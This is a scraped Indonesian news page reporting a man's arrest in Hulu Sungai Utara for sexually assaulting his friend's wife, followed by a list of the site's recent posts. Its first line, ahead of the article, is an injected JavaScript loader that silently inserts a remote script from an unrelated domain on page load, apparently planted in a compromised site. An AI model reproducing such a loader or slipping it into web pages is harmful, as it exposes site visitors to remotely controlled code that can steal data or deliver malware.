(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Tergiur Istri Kawan Sendiri, Ujungnya Berurusan dengan Polisi


AMUNTAI, Tak tahan menahan syahwat pemuda asal Amuntai Tengah, Kabupaten Hulu Sungai Utara (HSU), TM (23) harus berurusan dengan pihak berwajib. Lantaran dilaporkan tega melecehkan istri teman sendiri.

Kapolres HSU AKBP Ahmad Arif Sopiyan melalui Kasatreskrim IPTU Kamarudin kepada Kanalkalimantan.com, Senin (18/11) mengaku, telah mengamankan tersangka TM, diduga melakukan pencabulan.

Hal ini lantaran korban dan sang suami tak terima laku tingkah perbuatan TM, akhirnya pasangan tersebut melapor ke Polsek Banjang.
Menerima aduan, Unit Jatanras Polres HSU langsung bergerak cepat mencari TM.

Pemuda berprofesi serabutan itu diamankan di sekitar Pasar Alabio, Minggu (17/11) pagi, sekitar pukul 10.00.

Kepada polisi, TM mengaku tergoda saat melihat korban berjalan menuju ke WC belakang sembari membuntuti. Masih dari pengakuan TM, ia melihat baju daster yang dikenakan korban terangkat ke atas, pada saat itu lah timbul nafsu pelaku untuk ‘menyicipi’ istri kawannya sendiri.

Dari informasi, drama itu terjadi ketika tersangka TM menginap di kediaman korban, di Desa Baruh Tabing, Kecamatan Banjang, Minggu (17/11) dini hari, sekitar pukul 03.00 Wita.

Sebelum kejadian, korban yang terbangun dan hendak buang air kecil ke kamar mandi.

Namun, ketika hendak kembali ke kamar, tiba-tiba datang tersangka TM dari samping pintu sebelah kanan, kemudian langsung menarik korban dan berhasil mendekapnya sambil mengucapkan nada ancaman.

“Kamu harus melayani aku kalau tidak mau aku bunuh,” ujar Kasatreskrim IPTU Kamarudin saat menirukan ucapan tersangka TM. Sontak korban pun berontak dan berupaya melepas dekapan pelaku.

“Saya teriak kalau kamu macam-macam,” jawab korban.

Mendengar jawaban korban pelaku pun melepas korban. Namun, sebelum melepasnya, ia disebut sempat meremas payudara korban.

Mendengar suara gaduh, suami korban pun terbangun dari tidurnya dan mendatangi korban yang masih di kamar mandi, Sementara, pelaku TM sudah lari ke luar rumah.

Dari kejadian itu, korban bersama suami melaporkan TM ke pihak yang berwajib guna ditindaklanjuti.

Lebih jauh Kasatreskrim menyebut, motifnya sendiri adalah asusila perbuatan cabul, berkaitan dengan nafsu pelaku saat melihat istri kawan sendiri.

“Pelaku selama ini kadang menginap di rumah korban, sudah empat kali. Ia tidak memiliki pekerjaan tetap dan masih bujangan,” ujar Kamarudin.

Atas perbuatannya tersebut tersangka TM diancam dengan pasal 289 KUHP tentang kesusilaan dengan pidana 9 tahun. (dew)

Reporter : dew
Editor : Bie

 


Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

12 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

17 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

18 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.